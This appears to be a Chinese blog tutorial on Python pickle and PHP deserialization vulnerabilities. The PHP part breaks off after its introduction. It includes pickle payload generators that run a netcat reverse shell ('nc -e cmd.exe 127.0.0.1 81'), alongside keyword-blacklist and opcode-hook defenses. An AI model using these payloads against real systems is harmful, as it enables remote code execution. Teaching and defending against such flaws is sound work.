grammar_cjkRuby: true
反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下
Python 反序列化漏洞
简介
Python的主流序列化方式有两种Pickle&Json这里介绍由于Pickle的错误使用造成的漏洞利用
成因
Python 中的pickle模块是可以将各种对象序列化存储的,可支持的序列化对象有整型、浮点、元组、数组、函数、类等。这里之所以产生漏洞其原因是可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发 __reduce__
函数从而触发自己的恶意代码。看一下利用方法
利用
Python Pickle 序列化函数有三类分别如下:
import pickle
import cPickle as pickle
from pickle import Pickle
from pickle import Unpickle
最后一种只能存储到文件,不可以到内存
具体的利用方法呢有两种形式 1. 利用 __del__
魔法函数 触发恶意代码 2. 利用 __reduce__
触发反序列化重构
触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码 Generate.py
import pickle
class test(object):
def __init__(self):
self.a = "nc -e cmd.exe 127.0.0.1 81"
with open('log','wb') as f:
pickle.dump(test(),f)
Test.py
import pickle
import os
class test(object):
def __init__(self):
pass
def __del__(self):
os.system(self.a)
with open('log','r') as f:
pickle.load(f)
利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。
Generate.py
import pickle
class test(object):
def __reduce__(self):
return eval,("__import__('os').system('nc -e cmd 127.0.0.1 81')",)
with open('log','wb') as f:
pickle.dump(test(),f)
import pickle
import subprocess
class test(object):
def __reduce__(self):
return subprocess.call,("nc -e cmd.exe 127.0.0.1 81 ",)
with open('log','wb') as f:
pickle.dump(test(),f)
Test.py
import pickle
with open('log', 'r') as f:
pickle.load(f)
防范
那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法
1 @装饰器import pickle
from functools import wraps
black_list = ['subprocess']
def __HookPickle__(func):
@wraps(func)
def f(*args):
data = args[0].read()
for i in black_list:
if i in data:
exit()
args[0].seek(0)
return func(*args)
return f
@__HookPickle__
def load(f):
return pickle.load(f)
with open('log', 'r') as f:
load(f)
2 直接过滤
这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的
unpkler.dispatch[REDUCR] 其中REDUCE='R' 然而unpkler.dispatch['R'] = reload_reduce
reload_reduce函数见下图
_hook_call
其实封装的是reload_reduce函数......
from os import *
from sys import *
from pickle import *
from io import open as Open
from pickle import Unpickler as Unpkler
from pickle import Pickler as Pkler
black_type_list = [eval]
class FilterException(Exception):
def __init__(self, value):
super(FilterException, self).__init__(
'the callable object {value} is not allowed'.format(value=str(value)))
def _hook_call(func):
def wrapper(*args, **kwargs):
print args[0].stack
if args[0].stack[-2] in black_type_list:
raise FilterException(args[0].stack[-2])
return func(*args, **kwargs)
return wrapper
def LOAD(file):
unpkler = Unpkler(file)
unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])
return Unpkler(file).load()
with Open("test","rb") as f:
LOAD(f)
最后的最后你需要一个black_list ,这里提供一个
[eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,
tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,
lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,
rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,
execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,
spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]
PHP 反序列化漏洞
简介
PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。
成因
和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
利用
简单利用
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?


微信扫码登录